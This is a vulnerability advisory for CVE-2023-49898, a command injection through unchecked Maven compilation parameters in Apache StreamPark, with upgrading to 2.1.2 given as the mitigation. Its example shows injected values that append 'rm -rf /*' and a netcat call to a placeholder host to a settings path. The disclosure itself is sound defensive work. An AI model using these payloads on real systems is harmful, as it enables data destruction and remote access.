Apache StreamPark: Authenticated system users could trigger remote command execution
Date: 2023-12
Affected: maven/org.apache.streampark:streampark
Attack vector: rce
Category: vulnerability-disclosure
Severity: Critical
CVE: CVE-2023-49898
CWE: CWE-77

In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &


Mitigations:

Architectural layers (MAESTRO):